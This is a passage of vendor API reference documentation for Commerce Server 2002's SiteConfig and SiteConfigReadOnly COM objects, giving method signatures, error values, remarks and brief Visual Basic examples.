SiteConfig.ImportResource Method [Visual Basic]

Use this method to read the specified resource, resource properties, and attributes from the specified file, and write them to the Commerce Server 2002 database.

Definition

[C++]
HRESULT _SiteConfig::ImportResource(
  BSTR bstrFileName
);
[Visual Basic]
Sub ImportResource(
  bstrFileName As String
)

Parameters

bstrFileName [C++]
[in] A BSTR that contains the file name.
bstrFileName [Visual Basic]
A String that contains the file name.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be used.

This method is the complement of the ExportResource method. It consumes the file that ExportResource creates.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sMyFileName is a string
sMyFileName = "C:\ExportedFile.txt"
' oSiteConfig is a Commerce SiteConfig object
oSiteConfig.ImportResource(sMyFileName)

See Also

[C++] SiteConfig Object

[Visual Basic] SiteConfig Object


_SiteConfig::Initialize Method [C++]

SiteConfig.Initialize Method [Visual Basic]

Use this method to load the site configuration from the Administration database.

Definition

[C++]
HRESULT _SiteConfig::Initialize(
  BSTR bstrSiteName
);
[Visual Basic]
Sub Initialize(
  bstrSiteName As String
)

Parameters

bstrSiteName [C++]
[in] A BSTR that contains the site name.
bstrSiteName [Visual Basic]
A String that contains the site name.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

If the caller is not a member of the COM+ Administrator role, but is in the Web Users role, then a reduced recordset is populated by the Initialize method. This reduced recordset contains only information on the MSCS_Address resources, also known as IIS applications. The SaveConfig function will only save this reduced recordset data.

[Visual Basic]

Example

' sMySiteName is a string
' oSiteConfig is a Commerce SiteConfig object
oSiteConfig.Initialize(sMySiteName)

See Also

[C++] SiteConfig Object

[Visual Basic] SiteConfig Object


_SiteConfig::MakeArrayFromSimpleList Method [C++]

SiteConfig.MakeArrayFromSimpleList Method [Visual Basic]

Use this method to convert the specified SimpleList object into an Array.

Definition

[C++]
HRESULT _SiteConfig::MakeArrayFromSimpleList(
  IDispatch** list,
  VARIANT* vtArray
);
[Visual Basic]
Function MakeArrayFromSimpleList(
  list As Object
) As Variant

Parameters

list [C++]
[in] An IDispatch interface pointer to the SimpleList object that you want to convert into an Array.
list [Visual Basic]
An object reference to the SimpleList object that you want to convert into an Array.
vtArray [C++]
[out, retval] A pointer to a VARIANT used to return the converted Array.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant containing the converted Array.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

[C++] The vtArray parameter points to valid data only if the method completes successfully.

Important

  • A special group of methods is used with multivalued arrays. These methods are the only approved and recommended way of storing and retrieving multivalued arrays in the Administration database. You must use the following methods with any property that has the structure of a multivalued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vMyVariant is a Variant
' varMySimpleList is a SimpleList object
' oSiteConfig is a Commerce SiteConfig object
vMyVariant = oSiteConfig.MakeArrayFromSimpleList(varMySimpleList)

See Also

[C++] SiteConfig Object

[Visual Basic] SiteConfig Object


_SiteConfig::MakeArrayFromString Method [C++]

SiteConfig.MakeArrayFromString Method [Visual Basic]

Use this method to convert an encoded string read from the Fields property into an Array. If the encoded string does not indicate Array properties, then the method returns the original string that was passed into it.

Definition

[C++]
HRESULT _SiteConfig::MakeArrayFromString(
  VARIANT strList,
  VARIANT* vtArray
);
[Visual Basic]
Function MakeArrayFromString(
  strList As Variant
) As Variant

Parameters

strList [C++]
[in] A VARIANT that contains the encoded string.
strList [Visual Basic]
A Variant that contains the encoded string.
vtArray [C++]
[out, retval] A pointer to a VARIANT used to return the converted Array or unconverted String.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the converted Array or unconverted String.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

[C++] The vtArray parameter points to valid data only if the method completes successfully.

Important

  • A special group of methods is used with multivalued arrays. These methods are the only approved and recommended way of storing and retrieving multivalued arrays in the Administration database. You must use the following methods with any property that has the structure of a multivalued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can only be used on values exposed by the Fields object. The client-side disconnected ADO recordset has no support for Variants, Arrays, or objects as Fields columns. Therefore, the SiteConfig object resorts to storing data in an encoded string format.

Caution

  • The MakeArrayFromString method in Commerce Server 2002 performed an implicit conversion of some values in the encoded string to numeric values in the returned array. This conversion is not made in Commerce Server 2002. Any application code that expects numeric values in the array will need to be modified to accept String values.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vEncoded is a Variant containing an encoded string
read from the Fields property
' vArray is a Variant
' oSiteConfig is a Commerce SiteConfig object
vArray = oSiteConfig.MakeArrayFromString(vEncoded)

See Also

[C++] SiteConfig Object

[Visual Basic] SiteConfig Object


_SiteConfig::MakeSimpleListFromArray Method [C++]

SiteConfig.MakeSimpleListFromArray Method [Visual Basic]

Use this method to convert an Array into a SimpleList object.

Definition

[C++]
HRESULT _SiteConfig::MakeSimpleListFromArray(
  VARIANT* varArray,
  IDispatch** iSimpleList
);
[Visual Basic]
Function MakeSimpleListFromArray(
  varArray As Variant
) As Object

Parameters

varArray [C++]
[in] A pointer to the VARIANT that contains the Array to convert.
varArray [Visual Basic]
A Variant that contains the SimpleList object to convert.
iSimpleList [C++]
[out, retval] The address of an IDispatch interface pointer used to return the converted SimpleList object.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an object reference to the converted SimpleList object.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

[C++] The iSimpleList parameter contains valid data only if the method completes successfully.

Important

  • A special group of methods is used with multivalued arrays. These methods are the only approved and recommended way of storing and retrieving multivalued arrays in the Administration database. You must use the following methods with any property that has the structure of a multivalued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vMyArray is a Variant
' varMySimpleList is a SimpleList object
' oSiteConfig is a Commerce SiteConfig object
varMySimpleList = oSiteConfig.MakeSimpleListFromArray(vMyArray)

See Also

[C++] SiteConfig Object

[Visual Basic] SiteConfig Object


_SiteConfig::MakeStringFromArray Method [C++]

SiteConfig.MakeStringFromArray Method [Visual Basic]

Use this method to convert an Array object into an encoded string that can be written to the Fields property.

Definition

[C++]
HRESULT _SiteConfig::MakeStringFromArray(
  VARIANT* varArray,
  VARIANT* vtEncodedString
);
[Visual Basic]
Function MakeStringFromArray(
  varArray As Variant
) As Variant

Parameters

varArray [C++]
[in] A pointer to the VARIANT that contains the Array to encode.
varArray [Visual Basic]
A Variant that contains the Array to encode.
vtEncodedString [C++]
[out, retval] A pointer to a VARIANT used to return the encoded string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns Variant that contains the encoded string.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

[C++] The vtEncodedString parameter points to valid data only if the method completes successfully.

Important

  • A special group of methods is used with multivalued arrays. These methods are the only approved and recommended way of storing and retrieving multivalued arrays in the Administration database. You must use the following methods with any property that has the structure of a multivalued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can only be used when updating values exposed by the Fields object. The client-side disconnected ADO recordset has no support for Variants, Arrays, or objects as Fields columns. Therefore, the SiteConfig object resorts to storing data in an encoded string format.

Caution

  • The MakeArrayFromString method in Microsoft Commerce Server 2002 performed an implicit conversion of some values in the encoded string to numeric values in the returned array. This conversion is not made in Commerce Server 2002. Any application code that expects numeric values in the array will need to be modified to accept String values.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vEncoded is a Variant
' vArray is a Variant
' oSiteConfig is a Commerce SiteConfig object
vEncoded = oSiteConfig.MakeStringFromArray(vArray)

See Also

[C++] SiteConfig Object

[Visual Basic] SiteConfig Object


_SiteConfig::MakeStringFromSimpleList Method [C++]

SiteConfig.MakeStringFromSimpleList Method [Visual Basic]

Use this method to convert a SimpleList object into an encoded string that can be written to the Fields property.

Definition

[C++]
HRESULT _SiteConfig::MakeStringFromSimpleList(
  IDispatch** slist,
  BSTR* strEncodedString
);
[Visual Basic]
Function MakeStringFromSimpleList(
  slist As Object
) As String

Parameters

slist [C++]
[in] An IDispatch interface pointer to the SimpleList object that you wish to convert into an encoded string.
slist [Visual Basic]
An object reference to the SimpleList object that you wish to convert into an encoded string.
strEncodedString [C++]
[out, retval] A pointer to a BSTR used to return the encoded string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

[C++] The strEncodedString parameter points to valid data only if the method completes successfully.

Important

  • A special group of methods is used with multivalued arrays. These methods are the only approved and recommended way of storing and retrieving multivalued arrays in the Administration database. You must use the following methods with any property that has the structure of a multivalued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can only be used when updating values exposed by the Fields object. The client-side disconnected ADO recordset has no support for Variants, Arrays, SimpleLists or objects as Fields columns. Therefore, the SiteConfig object resorts to storing data in an encoded string format.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vEncoded is a string
' vArray is a Variant
' varMySimpleList is a SimpleList object
' oSiteConfig is a Commerce SiteConfig object
vEncoded = oSiteConfig.MakeStringFromSimpleList(varMySimpleList)

See Also

[C++] SiteConfig Object

[Visual Basic] SiteConfig Object


_SiteConfig::PutSQLScript Method [C++]

SiteConfig.PutSQLScript Method [Visual Basic]

Use this method to put the specified SQL script file into the Administration database.

Definition

[C++]
HRESULT _SiteConfig::PutSQLScript(
  BSTR sResource,
  BSTR sScriptName,
  BSTR sScriptContents
);
[Visual Basic]
Sub PutSQLScript(
  sResource As String,
  sScriptName As String,
  sScriptContents As String
)

Parameters

sResource [C++]
[in] A BSTR that contains the name of the resource associated with the SQL script file.
sResource [Visual Basic]
A String that contains the name of the resource associated with the SQL script file.
sScriptName [C++]
[in] A BSTR that contains the name of the SQL script file.
sScriptName [Visual Basic]
A String that contains the name of the SQL script file.
sScriptContents [C++]
[in] A BSTR that contains the SQL script file contents.
sScriptContents [Visual Basic]
A String that contains the SQL script file contents.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be used.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sMySQLFileName.sql, sMyRes and sMyContents are strings
' oSiteConfig is a Commerce SiteConfig object
oSiteConfig.PutSQLScript(sMyRes, "sMySQLFileName.sql" ,sMyContents )

See Also

[C++] SiteConfig Object

[Visual Basic] SiteConfig Object


_SiteConfig::SaveConfig Method [C++]

SiteConfig.SaveConfig Method [Visual Basic]

Use this method to save any site configuration settings that have been changed or updated.

Definition

[C++]
HRESULT _SiteConfig::SaveConfig(
);
[Visual Basic]
Sub SaveConfig()

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

If the caller is not a member of the COM+ Administrator role, but is in the Web Users role, then a reduced recordset is populated by the Initialize method. This reduced recordset contains only information on the MSCS_Address resources, also known as IIS applications. The SaveConfig function will only save this reduced recordset data.

The Initialize method must be called before this method can be used.

This method saves the entire configuration for a site. If two users are trying to update different parts of the site configuration at the same time, the last one to save will overwrite the changes made by the first user updating the site configuration.

See Also

[C++] SiteConfig Object

[Visual Basic] SiteConfig Object


_SiteConfig Properties [C++]

SiteConfig Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
Fields | Fields | Returns configuration fields, some of which hold configuration settings of resources. This property is read-write.
[Visual Basic]
Property | Type | Description
Fields | Fields | Returns configuration fields, some of which hold configuration settings of resources. This property is read-write.


_SiteConfig::get_Fields Property [C++]

SiteConfig.Fields Property [Visual Basic]

The Fields property is a read/write Fields object. The Fields object contents include recordsets that hold the configuration settings of resources. A Fields object is an ADO disconnected recordset.

Definition

[C++]
HRESULT _SiteConfig::get_Fields(
  Fields** Fields
);
[Visual Basic]
Property Fields As Object

Parameters

Fields [C++]
[out] The address into which this method writes the pointer to the Fields object used to return resource configuration information.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This property returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

[C++] The Fields parameter contains valid data only if the method completes successfully.

You update the data in the Fields object to change your configuration information. You then call SaveConfig to commit those changes back to the database.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] SiteConfig Object

[Visual Basic] SiteConfig Object


SiteConfigReadOnly Object [C++]

SiteConfigReadOnly Object [Visual Basic]

Use this object to load site configuration information from the Administration database.

ProgID: | Commerce.SiteConfigReadOnly (Externally creatable)
COM Class Name: | SiteConfigReadOnly
Type Library Name: | Microsoft Commerce 2002 Configuration Type Library
DLL Name: | MSCSCfg.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | _SiteConfigReadOnly
Interface ID Constant: | None
Header File: | None

[C++] In C++, use the _SiteConfigReadOnly interface to access the properties and methods of the SiteConfigReadOnly object.

Methods

[C++]
Method | Description
GetAppsInSite | Gets a list of Commerce Server 2002 applications for the specified site.
GetIfCollection | Use this method to convert values read from the Fields property, if appropriate, into either a SimpleList object or a Variant Array.
Initialize | Loads the site configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into an Array.
MakeArrayFromString | Converts values read from Fields property into an Array.
MakeSimpleListFromArray | Converts an Array into a SimpleList object.
MakeStringFromArray | Converts an Array into an encoded string, which can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string, which can be written to the Fields property.
[Visual Basic]
Method | Description
GetAppsInSite | Gets a list of Commerce Server 2002 applications for the specified site.
GetIfCollection | Use this method to convert values read from the Fields property, if appropriate, into either a SimpleList object or a Variant Array.
Initialize | Loads the site configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into an Array.
MakeArrayFromString | Converts values read from Fields property into an Array.
MakeSimpleListFromArray | Converts an Array into a SimpleList object.
MakeStringFromArray | Converts an Array into an encoded string, which can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string, which can be written to the Fields property.

Properties

[C++]
Property | Type | Description
Fields | Fields | Returns configuration settings of the site and the site resources. This property is read-only.
[Visual Basic]
Property | Type | Description
Fields | Fields | Returns configuration settings of the site and the site resources. This property is read-only.

Remarks

The SiteConfigReadOnly object allows access to more configuration data than does the SiteConfig object. With the SiteConfigReadOnly object, group resource values are returned when you access references to resources. In contrast, with the SiteConfig object, only references to the names of the resources are returned.

Depending on how you add your own custom resource, you should be able to use this object to access configuration settings from the Administration database.

See Also

Configuration Objects

Integrating Cutom Resources

[C++] GlobalConfig Object

[C++] SiteConfig Object

[Visual Basic] GlobalConfigObject

[Visual Basic] SiteConfig Object


_SiteConfigReadOnly Methods [C++]

SiteConfigReadOnly Methods [Visual Basic]

Methods

[C++]
Method | Description
GetAppsInSite | Gets a list of Commerce Server 2002 applications for the specified site.
GetIfCollection | Use this method to convert values read from the Fields property, if appropriate, into either a SimpleList object or a Variant Array.
Initialize | Loads the site configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into an Array.
MakeArrayFromString | Converts values read from Fields property into an Array.
MakeSimpleListFromArray | Converts an Array into a SimpleList object.
MakeStringFromArray | Converts an Array into an encoded string, which can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string, which can be written to the Fields property.
[Visual Basic]
Method | Description
GetAppsInSite | Gets a list of Commerce Server 2002 applications for the specified site.
GetIfCollection | Use this method to convert values read from the Fields property, if appropriate, into either a SimpleList object or a Variant Array.
Initialize | Loads the site configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into an Array.
MakeArrayFromString | Converts values read from Fields property into an Array.
MakeSimpleListFromArray | Converts an Array into a SimpleList object.
MakeStringFromArray | Converts an Array into an encoded string, which can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string, which can be written to the Fields property.


_SiteConfigReadOnly::GetAppsInSite Method [C++]

SiteConfigReadOnly.GetAppsInSite Method [Visual Basic]

Use this method to get a list of Commerce Server 2002 applications for the specified site.

Definition

[C++]
HRESULT _SiteConfig::GetAppsInSite(
  BSTR* strSiteName,
  VARIANT* vtAppNames
);
[Visual Basic]
Function GetAppsInSite(
  strSiteName As String
) As Variant

Parameters

strSiteName [C++]
[in] A pointer to the BSTR that contains the name of the site for which you want the list of Commerce Server 2002 applications that are currently running.
strSiteName [Visual Basic]
A String that contains the name of the site for which you want the list of running Commerce Server 2002 applications.
vtAppNames [C++]
[out, retval] A pointer to a VARIANT used to return the list of Commerce Server 2002 applications.

Return Values

[C++] This method returns an HRESULT indicating whether or not it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns Variant that contains the list of Commerce Server 2002 applications.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be used.

[C++]

The vtAppNames parameter points to valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sMySiteName is a String
' vVariant is a Variant
' oSiteConfigReadOnly is a Commerce SiteConfigReadOnly object
vVariant = oSiteConfigReadOnly.GetAppsInSite(sMySiteName)

See Also

[C++] SiteConfigReadOnly Object

[Visual Basic] SiteConfigReadOnly Object


_SiteConfigReadOnly::GetIfCollection Method [C++]

SiteConfigReadOnly.GetIfCollection Method [Visual Basic]

Use this method to convert values read from the Fields property into the appropriate object such as a SimpleList object or Variant Array.

Definition

[C++]
HRESULT _SiteConfig::GetIfCollection(
  VARIANT* strList,
  VARIANT* retVal
);
[Visual Basic]
Function GetIfCollection(
  strList As Variant
) As Variant

Parameters

strList [C++]
[in] A pointer to the VARIANT that contains the encoded string to be converted.
strList [Visual Basic]
A Variant that contains the encoded string to be converted.
retVal [C++]
[out, retval] A pointer to a VARIANT used to return the converted data in the appropriate data type.

Return Values

[C++] This method returns an HRESULT indicating whether or not it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant containing the converted data in the appropriate data type.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

[C++]

The retVal parameter points to valid data only if the method completes successfully.

If the encoding in the string contained in the Fields property indicates a SimpleList object, then a SimpleList object is returned. If the encoding indicates a Variant Array, then a Variant Array is returned. If no collection object is indicated, then the method returns the original encoded input string.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vVariant is a Variant; vEncodedString is a Variant
' oSiteConfigReadOnly is a Commerce SiteConfigReadOnly object
vVariant = oSiteConfigReadOnly.GetIfCollection(vEncodedString)

See Also

[C++] SiteConfigReadOnly Object

[Visual Basic] SiteConfigReadOnly Object


_SiteConfigReadOnly::Initialize Method [C++]

SiteConfigReadOnly.Initialize Method [Visual Basic]

Use this method to load the site configuration from the Administration database.

Definition

[C++]
HRESULT _SiteConfigReadOnly::Initialize(
  BSTR bstrSiteName
);
[Visual Basic]
Sub Initialize(
  bstrSiteName As String
)

Parameters

bstrSiteName [C++]
[in] A BSTR that contains the site name.
bstrSiteName [Visual Basic]
A String that contains the site name.

Return Values

[C++] This method returns an HRESULT indicating whether or not it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before the other methods in this object can be called.

On Developer Edition installations, code will be run to ensure that the maximum number of connections for an IIS Web site that host a Commerce Server 2002 application is not greater than 5.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sMySiteName is a string
' oSiteConfigReadOnly is a Commerce SiteConfigReadOnly object
oSiteConfigReadOnly.Initialize(sMySiteName)

See Also

[C++] SiteConfigReadOnly Object

[Visual Basic] SiteConfigReadOnly Object


_SiteConfigReadOnly::MakeArrayFromSimpleList Method [C++]

SiteConfigReadOnly.MakeArrayFromSimpleList Method [Visual Basic]

Use this method to convert the specified SimpleList object into an Array.

Definition

[C++]
HRESULT _SiteConfig::MakeArrayFromSimpleList(
  IDispatch** list,
  VARIANT* vtArray
);
[Visual Basic]
Function MakeArrayFromSimpleList(
  list As Object
) As Variant

Parameters

list [C++]
[in] A IDispatch interface pointer to the SimpleList object that you want to convert into an Array.
list [Visual Basic]
The object reference to the SimpleList object that you wish to convert into an Array.
vtArray [C++]
[out, retval] A pointer to a VARIANT used to return the converted Array.

Return Values

[C++] This method returns an HRESULT indicating whether or not it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant containing the converted Array.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

[C++]

The vtArray parameter points to valid data only if the method completes successfully.

Important

  • There is a special group of methods used with multivalued arrays. These methods are the only approved and recommended way of storing and retrieving multivalued arrays in the Administration database. You must use the following methods with any property that has the structure of a multivalued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vMyVariant is a Variant
' varMySimpleList is a SimpleList object
' oSiteConfigReadOnly is a Commerce SiteConfigReadOnly object
vMyVariant = oSiteConfigReadOnly.MakeArrayFromSimpleList(varMySimpleList)

See Also

[C++] SiteConfigReadOnly Object

[Visual Basic] SiteConfigReadOnly Object


_SiteConfigReadOnly::MakeArrayFromString Method [C++]

SiteConfigReadOnly.MakeArrayFromString Method [Visual Basic]

Use this method to convert an encoded string read from the Fields property into an Array. If the encoded string does not indicate Array properties, then the method returns the original string that was passed into it.

Definition

[C++]
HRESULT _SiteConfig::MakeArrayFromString(
  VARIANT strList,
  VARIANT* vtArray
);
[Visual Basic]
Function MakeArrayFromString(
  strList As Variant
) As Variant

Parameters

strList [C++]
[in] A VARIANT that contains the encoded string.
strList [Visual Basic]
A Variant that contains the encoded string.
vtArray [C++]
[out, retval] A pointer to a VARIANT used to return the converted Array or unconverted String.

Return Values

